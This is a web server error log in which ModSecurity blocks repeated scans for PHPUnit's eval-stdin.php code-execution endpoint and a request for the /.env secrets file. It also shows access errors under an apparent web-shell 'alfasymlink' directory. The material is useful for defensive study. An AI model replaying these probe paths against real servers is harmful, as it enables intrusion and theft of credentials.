[Tue Oct 27 05:46:24.640826 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOqAAAAA0"]
[Tue Oct 27 05:46:24.641623 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8JVvqGtwGAy54pYOqAAAAA0"]
[Tue Oct 27 05:46:24.966132 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOqQAAAA0"]
[Tue Oct 27 05:46:24.966613 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOqQAAAA0"]
[Tue Oct 27 05:46:24.967447 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8JVvqGtwGAy54pYOqQAAAA0"]
[Tue Oct 27 05:46:25.266206 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8ZVvqGtwGAy54pYOqgAAAA0"]
[Tue Oct 27 05:46:25.266640 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8ZVvqGtwGAy54pYOqgAAAA0"]
[Tue Oct 27 05:46:25.267466 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8ZVvqGtwGAy54pYOqgAAAA0"]
[Tue Oct 27 05:46:25.593678 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8ZVvqGtwGAy54pYOqwAAAA0"]
[Tue Oct 27 05:46:25.594170 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8ZVvqGtwGAy54pYOqwAAAA0"]
[Tue Oct 27 05:46:25.594990 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8ZVvqGtwGAy54pYOqwAAAA0"]
[Tue Oct 27 05:46:26.010548 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrAAAAA0"]
[Tue Oct 27 05:46:26.011000 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrAAAAA0"]
[Tue Oct 27 05:46:26.011952 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8pVvqGtwGAy54pYOrAAAAA0"]
[Tue Oct 27 05:46:26.415618 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrQAAAA0"]
[Tue Oct 27 05:46:26.416060 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrQAAAA0"]
[Tue Oct 27 05:46:26.417011 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8pVvqGtwGAy54pYOrQAAAA0"]
[Tue Oct 27 05:46:26.836877 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrgAAAA0"]
[Tue Oct 27 05:46:26.837379 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8pVvqGtwGAy54pYOrgAAAA0"]
[Tue Oct 27 05:46:26.838186 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8pVvqGtwGAy54pYOrgAAAA0"]
[Tue Oct 27 05:46:27.243106 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy85VvqGtwGAy54pYOrwAAAA0"]
[Tue Oct 27 05:46:27.243598 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy85VvqGtwGAy54pYOrwAAAA0"]
[Tue Oct 27 05:46:27.244412 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy85VvqGtwGAy54pYOrwAAAA0"]
[Tue Oct 27 05:46:27.709131 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 23.21.227.240:34290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:27.732446 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy85VvqGtwGAy54pYOsAAAAA0"]
[Tue Oct 27 05:46:27.732783 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy85VvqGtwGAy54pYOsAAAAA0"]
[Tue Oct 27 05:46:27.733462 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy85VvqGtwGAy54pYOsAAAAA0"]
[Tue Oct 27 05:46:28.042940 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOsQAAAA0"]
[Tue Oct 27 05:46:28.043440 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOsQAAAA0"]
[Tue Oct 27 05:46:28.044270 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy9JVvqGtwGAy54pYOsQAAAA0"]
[Tue Oct 27 05:46:28.355440 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOsgAAAA0"]
[Tue Oct 27 05:46:28.355883 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOsgAAAA0"]
[Tue Oct 27 05:46:28.356687 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy9JVvqGtwGAy54pYOsgAAAA0"]
[Tue Oct 27 05:46:28.738974 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOswAAAA0"]
[Tue Oct 27 05:46:28.739427 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy9JVvqGtwGAy54pYOswAAAA0"]
[Tue Oct 27 05:46:28.740278 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy9JVvqGtwGAy54pYOswAAAA0"]
[Tue Oct 27 05:46:47.678047 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.147.182.90:33998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:53.506679 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 50.16.248.61:52573] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:55.769329 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 100.24.167.60:62114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/memory16/subsystem/uevent
[Tue Oct 27 05:47:03.799137 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.70.209.13:26980] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:08.202682 2026] [ssl:error] [pid 3201656:tid 3201656] (5)Input/output error: [client 184.73.47.24:4132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:11.904153 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 18.204.152.114:60292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:02.0/subsystem/rescan
[Tue Oct 27 05:47:19.873547 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.221.244.28:17071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:23.910335 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.227.156.153:51563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:39.865891 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 54.86.59.155:30683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:51.903597 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.204.89.12:6415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:47:59.599222 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:58305] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auBzT60A58tRzIL-Q2BmXQAAAAM"]
[Tue Oct 27 05:47:59.599485 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:58305] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auBzT60A58tRzIL-Q2BmXQAAAAM"]
